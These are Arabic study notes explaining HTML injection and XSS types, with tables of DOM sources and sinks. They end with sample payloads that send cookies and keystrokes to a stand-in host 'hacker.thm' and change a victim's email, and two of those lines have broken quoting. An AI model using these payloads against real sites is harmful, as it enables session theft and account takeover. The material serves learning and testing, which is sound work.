عندى ثغرة HTML injection وهى اننا نقدر ندخل كود معين من الـ HTML فى الصفحه المعروضه حاليا وده بيكون ناتج بسبب عدم فلترة مدخلات الــ input المستخدم

او يكون فى Parameter معين فى اللينك معرض بردو لانى اضيف HTML code

الثغرة دى بقا بيتعملها Escalation علشان نحولها الى XSS وده بيتم عن طريق حقن كود JavaScript

زى مثلا

<img src=x onerror='alert("pwned")'>

فى بقا انواع للــ XSS

  1. Reflected XSS
  2. Stored XSS
  3. DOM XSS
  • الـ Reflected ده معناها انعكاس الكود اللى بنكتبه فى الصفحه اللى شغاله حاليا اذا كان كنا بنكتب الكود ده فى input او فى الــ URL من خلال الــ Parameter وهنا بقا الـ Payload بتاعنا بيكون موجود فى الـ URL وبيتم ارساله للمستخدم عشان يتم تنفيذه

  • الــ Stored دى بقا اللى الكود فيها بيتخزن ع السيرفر فى الداتا بيز زى مثلا Comment Function اللى بنكتبه هنا بيروح يتسجل فى السيرفر واى حد بيدخل ع نفس الصفحه من اى مكان بيظهرله اللى احنا كتبناه ويتنفذ عنده الكود

  • الـ Blind XSS هنا انت مش بتشوف الـ Execute بتاع الكود لانه بيتنفذ عند اللى بيتبعتله الحاجه اللى انت بتكتبها زى مثلا لما تدى فيد باك ع خدمة معينه او لما تبعت تيكت او شكوى للادمن بتاع الموقع او لما تملى فورم بيوصل لادمن الموقع ومش بيتعرض للمستخدمين العادين وهنا فى اداة نقدر نستخدمها عشان نتابع الموضوع ده زى XSS report

  • الـ DOM-Based XSS بيحصل لما JavaScript تتعامل مع حاجة جاية من المستخدم (زي URL، أو input، أو document.cookie…إلخ) وتكتبها في الصفحة من غير ما تعمل فلترة أو تأمين. يعني السيرفر مالوش علاقة الكود الخبيث بيتنفذ بسبب طريقة تعامل JavaScript مع الداتا اللي جاية من URL أو من عناصر الصفحة.

    حاجتين مهمين لازم نعرفهم بخصوص الـ DOM XSS

    1. الــ Source دي الأماكن اللي الهاكر يقدر يدخل منها داتا (مدخلات المستخدم).
    2. الـ Sink دي الأماكن اللي الـ JavaScript بتكتب فيها الداتا أو تتعامل بيها بشكل ممكن يؤدي لتنفيذ كود. يعني لما داتا (جات من الـ Source) تروح تتحط جوه واحدة من الـ Sink دي، ومفيش فلترة، بيبقى عندك DOM XSS.
الـ Source المعنى
location.href الـ URL كامل
location.search الجزء بعد ?
location.hash الجزء بعد #
document.URL نفس location.href
document.documentURI زي document.URL
document.referrer الصفحة اللي جا منها الزائر
window.name قيمة قابلة للتغيير من صفحة تانية
localStorage.getItem() داتا مخزنة من قبل المستخدم
sessionStorage.getItem() زي اللي فوق بس مؤقتة
الـ Sink الوصف
innerHTML بتحط محتوى HTML — ينفذ سكريبت
outerHTML زي innerHTML بس بيبدل العنصر نفسه
document.write() بيكتب HTML مباشر في الصفحة
document.writeln() زي اللي فوق
eval() بينفذ أي نص كأنه JavaScript
setTimeout(code) بينفذ كود بعد وقت — لو الكود جا كـ String خطر
setInterval(code) زي اللي فوق بس كل فترة
Function() بترجم نص إلى JavaScript زي eval
element.setAttribute("onclick", userInput) بينفذ كود لو المستخدم ضغط

يبقى الفكرة هنا اننا نختبر اى input موجود فى التارجت ونتتبعه عشان نشوفه معرض للثغرة ولا لاء الموضوع ده بقا بيتمنع بفلترة المدخلات من المستخدم من خلال طريقتين

  1. الـ Client Side Validation هنا هنلاقى DOM XSS - DOM HTML injection

  2. الـ Server Side Validation وهنا هلاقى الـ Reflected XSS - Stored XSS

ايه الخطورة اصلا:

  • نسرق كوكيز اللى ممكن تخلينا نعمل ATO من خلال اننا ناخد سيشن المستخدم
  • نحول الصفحه المستخدمة الى صفحه تانيه
  • نبعت بيانات حساسه
  • نعدل ع شكل الصفح
  • نعمل تنصت على الكيبورد وكل اللى بيكتبه المستخدم

الـ payloads وده كود JS اللى بيتعمله Execute فى متصفح المستخدم او ع جهاز المستخدم

وهنا فيه كذا استخدام للـ Payloads POC:

<script>alert('XSS');</script>

Steal Cookies:

<script>fetch('https://hacker.thm/steal?cookie=' + btoa(document.cookie));</script>

Key logger:

<script>document.onkeypress = function(e) { fetch('https://hacker.thm/log?key=btoa(e.key)); </script>

btoa(...)

  • دي دالة JavaScript اسمها btoa = binary to ASCII
  • بتحوّل أي نص عادي (مثل الكوكيز) إلى Base64 encoding.
  • علشان نضمن إن كل الرموز تكون مقبولة في الـ URL، زي ; و = اللي ممكن تسبب مشاكل في بعض السيرفرات أو تتحجب.

Business Logic:

<script>user.changeEmail('attacker@hacker.thm*); </script>

لاختبار الــ Blind XSS —> xss.report